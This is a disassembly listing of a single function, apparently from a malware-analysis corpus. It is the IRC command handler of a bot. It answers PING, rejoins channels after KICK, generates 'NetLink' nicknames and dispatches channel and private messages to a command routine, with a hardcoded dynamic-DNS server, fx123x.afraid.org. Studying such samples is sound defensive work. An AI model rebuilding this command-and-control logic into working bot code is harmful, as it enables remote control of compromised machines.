Function at 0x401e56
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x343c
call fcn.00407054
push ebx
push esi
push edi
push 0x2000
lea eax, [ebp - 0x3000]
push eax
call sub.KERNEL32.DLL_RtlZeroMemory
push 0x2000
lea eax, [ebp - 0x3000]
push eax
push dword [ebp + 0xc]
call sub.KERNEL32.DLL_ExpandEnvironmentStringsA
xor esi, esi
push 0x20
push esi
mov edi, esi
shl edi, 8
lea edi, [ebp + edi - 0x1000]
push edi
lea edi, [ebp - 0x3000]
push edi
call fcn.00401952
add esp, 0x10
inc esi
cmp esi, 0x10
jl 0x401e8d
push str.PING
lea eax, [ebp - 0x1000]
push eax
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
jne 0x401ee3
lea eax, [ebp - 0xf00]
push eax
push str.PONG__s_r_n
push dword [ebp + 8]
call fcn.004018fa
add esp, 0xc
jmp 0x4025a1
push str.ERROR
lea eax, [ebp - 0x1000]
push eax
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
jne 0x401f15
push 2
push dword [ebp + 8]
call sub.WS2_32.DLL_shutdown
push dword [ebp + 8]
call sub.WS2_32.DLL_closesocket
dec dword [0x40c3bc]
jmp 0x4025a1
push 0x40c721
lea eax, [ebp - 0xf00]
push eax
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
je 0x401f69
push 0x40c71d
lea edi, [ebp - 0xf00]
push edi
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
je 0x401f69
push 0x40c719
lea edi, [ebp - 0xf00]
push edi
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
je 0x401f69
push 0x40c715
lea edi, [ebp - 0xf00]
push edi
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
jne 0x401f80
push 2
push dword [ebp + 8]
call sub.WS2_32.DLL_shutdown
push dword [ebp + 8]
call sub.WS2_32.DLL_closesocket
jmp 0x4025a1
push 0x40c711
lea eax, [ebp - 0x1000]
push eax
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
jne 0x401ff1
lea eax, [ebp - 0xd00]
push eax
imul eax, dword [0x40c3bc], 0x165
lea eax, [eax + str.fx123x.afraid.org]
push eax
call sub.KERNEL32.DLL_lstrcpyA
lea eax, [ebp - 0xc00]
push eax
imul eax, dword [0x40c3bc], 0x165
lea eax, [eax + 0x40c1a5]
push eax
call sub.KERNEL32.DLL_lstrcpyA
push 2
push dword [0x40b49c]
call sub.WS2_32.DLL_shutdown
push dword [ebp + 8]
call sub.WS2_32.DLL_closesocket
dec dword [0x40c3bc]
jmp 0x4025a1
push str.PRIVMSG
lea eax, [ebp - 0xf00]
push eax
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
jne 0x402221
movsx edi, byte [ebp - 0xcff]
movsx edx, byte [0x40c37e]
cmp edi, edx
jne 0x402221
push 0x20
lea eax, [ebp - 0x3328]
push eax
call sub.KERNEL32.DLL_RtlZeroMemory
push 0x100
lea eax, [ebp - 0x342c]
push eax
call sub.KERNEL32.DLL_RtlZeroMemory
push 0x21
push 0
lea eax, [ebp - 0x3328]
push eax
lea eax, [ebp - 0xfff]
push eax
call fcn.00401952
lea eax, [ebp - 0xfff]
push eax
lea eax, [ebp - 0x342c]
push eax
call sub.KERNEL32.DLL_lstrcpyA
lea eax, [ebp - 0xe00]
push eax
call sub.KERNEL32.DLL_lstrlenA
mov dword [ebp - 0x3430], eax
lea edi, [ebp - 0xe00]
push edi
lea edi, [ebp - 0x3000]
push edi
call sub.CRTDLL.DLL_strstr
add esp, 0x18
mov edi, dword [ebp - 0x3430]
lea edi, [edi + eax + 2]
mov dword [ebp - 0x332c], edi
xor esi, esi
jmp 0x402213
lea eax, [ebp - 0x342c]
push eax
push dword [esi*4 + 0x40c380]
call fcn.004019aa
add esp, 8
or eax, eax
jne 0x402212
xor ebx, ebx
mov dword [ebp - 0x3304], ebx
push 0x7c
push dword [ebp - 0x332c]
call sub.CRTDLL.DLL_strchr
add esp, 8
mov dword [ebp - 0x3308], eax
jmp 0x4020ff
push 0x7c
mov eax, dword [ebp - 0x3308]
inc eax
push eax
call sub.CRTDLL.DLL_strchr
add esp, 8
mov dword [ebp - 0x3308], eax
inc ebx
cmp dword [ebp - 0x3308], 0
jne 0x4020e6
push 0x200
lea eax, [ebp - 0x3300]
push eax
call sub.KERNEL32.DLL_RtlZeroMemory
push 0x100
lea eax, [ebp - 0x3100]
push eax
call sub.KERNEL32.DLL_RtlZeroMemory
push 0x7c
push dword [ebp - 0x3304]
lea eax, [ebp - 0x3300]
push eax
push dword [ebp - 0x332c]
call fcn.00401952
add esp, 0x10
or eax, eax
je 0x4021f9
push 0x20
push 0
lea eax, [ebp - 0x3100]
push eax
lea eax, [ebp - 0x3300]
push eax
call fcn.00401952
add esp, 0x10
or eax, eax
je 0x4021f9
lea eax, [ebp - 0x3100]
push eax
call sub.KERNEL32.DLL_lstrlenA
mov dword [ebp - 0x343c], eax
lea edi, [ebp - 0x3100]
push edi
lea edi, [ebp - 0x3300]
push edi
call sub.CRTDLL.DLL_strstr
add esp, 8
mov dword [ebp - 0x3434], 1
lea edi, [ebp - 0x3434]
push edi
mov edi, dword [ebp - 0x343c]
lea edi, [edi + eax + 1]
push edi
lea edi, [ebp - 0x30ff]
push edi
cmp byte [ebp - 0xe00], 0x23
jne 0x4021d3
lea edi, [ebp - 0xe00]
mov dword [ebp - 0x3438], edi
jmp 0x4021df
lea edi, [ebp - 0x3328]
mov dword [ebp - 0x3438], edi
push dword [ebp - 0x3438]
lea edi, [ebp - 0x3328]
push edi
push 0
push dword [ebp + 8]
call fcn.004025a6
add esp, 0x1c
mov eax, dword [ebp - 0x3304]
inc dword [ebp - 0x3304]
cmp eax, ebx
jne 0x402108
jmp 0x4025a1
inc esi
cmp esi, 2
jb 0x4020a8
jmp 0x4025a1
push 0x40c705
lea eax, [ebp - 0xf00]
push eax
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
jne 0x40239d
movsx edi, byte [ebp - 0xbff]
movsx esi, byte [0x40c37e]
cmp edi, esi
jne 0x40239d
lea eax, [ebp - 0xd00]
push eax
call sub.KERNEL32.DLL_lstrlenA
mov dword [ebp - 0x3430], eax
lea edi, [ebp - 0xd00]
push edi
lea edi, [ebp - 0x3000]
push edi
call sub.CRTDLL.DLL_strstr
mov edi, dword [ebp - 0x3430]
lea edi, [edi + eax + 2]
mov dword [ebp - 0x332c], edi
xor ebx, ebx
mov dword [ebp - 0x3304], ebx
push 0x7c
push edi
call sub.CRTDLL.DLL_strchr
add esp, 0x10
mov dword [ebp - 0x3308], eax
jmp 0x4022b9
push 0x7c
mov eax, dword [ebp - 0x3308]
inc eax
push eax
call sub.CRTDLL.DLL_strchr
add esp, 8
mov dword [ebp - 0x3308], eax
inc ebx
cmp dword [ebp - 0x3308], 0
jne 0x4022a0
push 0x200
lea eax, [ebp - 0x3300]
push eax
call sub.KERNEL32.DLL_RtlZeroMemory
push 0x100
lea eax, [ebp - 0x3100]
push eax
call sub.KERNEL32.DLL_RtlZeroMemory
push 0x7c
push dword [ebp - 0x3304]
lea eax, [ebp - 0x3300]
push eax
push dword [ebp - 0x332c]
call fcn.00401952
add esp, 0x10
or eax, eax
je 0x402384
push 0x20
push 0
lea eax, [ebp - 0x3100]
push eax
lea eax, [ebp - 0x3300]
push eax
call fcn.00401952
add esp, 0x10
or eax, eax
je 0x402384
lea eax, [ebp - 0x3100]
push eax
call sub.KERNEL32.DLL_lstrlenA
mov dword [ebp - 0x3438], eax
lea edi, [ebp - 0x3100]
push edi
lea edi, [ebp - 0x3300]
push edi
call sub.CRTDLL.DLL_strstr
mov dword [ebp - 0x3434], 1
lea edi, [ebp - 0x3434]
push edi
mov edi, dword [ebp - 0x3438]
lea edi, [edi + eax + 1]
push edi
lea edi, [ebp - 0x30ff]
push edi
lea edi, [ebp - 0xd00]
push edi
push str.NONE
push 1
push dword [ebp + 8]
call fcn.004025a6
add esp, 0x24
mov eax, dword [ebp - 0x3304]
inc dword [ebp - 0x3304]
cmp eax, ebx
jne 0x4022c2
jmp 0x4025a1
push 0x40c6fc
lea eax, [ebp - 0xf00]
push eax
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
jne 0x40240b
call sub.KERNEL32.DLL_GetTickCount
mov dword [0x40b470], eax
lea eax, [ebp - 0xe00]
push eax
push 0x40b47c
call sub.KERNEL32.DLL_lstrcpyA
imul eax, dword [0x40c3bc], 0x165
lea edx, [eax + 0x40c1ea]
push edx
lea eax, [eax + 0x40c1ca]
push eax
push 0x40b47c
push str.ip_sx
push 0x40b47c
push str.MODE__s__s_r_nUSERHOST__s_r_nJOIN__s__s_r_n
push dword [ebp + 8]
call fcn.004018fa
add esp, 0x1c
jmp 0x4025a1
push 0x40c6d2
lea eax, [ebp - 0xf00]
push eax
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
je 0x40244a
push 0x40c6ce
lea edi, [ebp - 0xf00]
push edi
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
je 0x40244a
push 0x40c6ca
lea edi, [ebp - 0xf00]
push edi
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
jne 0x4024a0
call sub.KERNEL32.DLL_GetTickCount
mov ecx, 0x182b7
xor edx, edx
div ecx
mov edi, edx
add edi, 0x3e8
push edi
push str.NetLink
push str._s_05d
push 0x40b47c
call sub.USER32.DLL_wsprintfA
push 0x40b47c
push str.NICK__s_r_n
push dword [ebp + 8]
call fcn.004018fa
add esp, 0x1c
lea eax, [ebp - 0xe00]
push eax
push 0x40b47c
call sub.KERNEL32.DLL_lstrcpyA
jmp 0x4025a1
push str.KICK
lea eax, [ebp - 0xf00]
push eax
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
jne 0x40251b
push 0x40b47c
lea edi, [ebp - 0xd00]
push edi
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
jne 0x40251b
imul edi, dword [0x40c3bc], 0x165
lea edi, [edi + 0x40c1ca]
push edi
lea edi, [ebp - 0xe00]
push edi
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
jne 0x40251b
imul eax, dword [0x40c3bc], 0x165
lea edx, [eax + 0x40c1ea]
push edx
lea eax, [eax + 0x40c1ca]
push eax
push str.JOIN__s__s_r_n
push dword [ebp + 8]
call fcn.004018fa
add esp, 0x10
jmp 0x4025a1
push 0x40c6b4
lea eax, [ebp - 0xf00]
push eax
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
jne 0x40254a
push pe_nt_image_headers32
push 1
push 0x40b4ac
lea eax, [ebp - 0xd00]
push eax
call fcn.00401952
add esp, 0x10
jmp 0x4025a1
push 0x40c6b0
lea eax, [ebp - 0xf00]
push eax
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
jne 0x4025a1
imul edi, dword [0x40c3bc], 0x165
lea edi, [edi + 0x40c1ca]
push edi
lea edi, [ebp - 0xd00]
push edi
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
jne 0x4025a1
cmp dword [0x40b4a0], 1
jae 0x4025a1
lea eax, [ebp - 0xd00]
push eax
push str.PRIVMSG__s_:
push dword [ebp + 8]
call fcn.004018fa
add esp, 0xc
pop edi
pop esi
pop ebx
leave
ret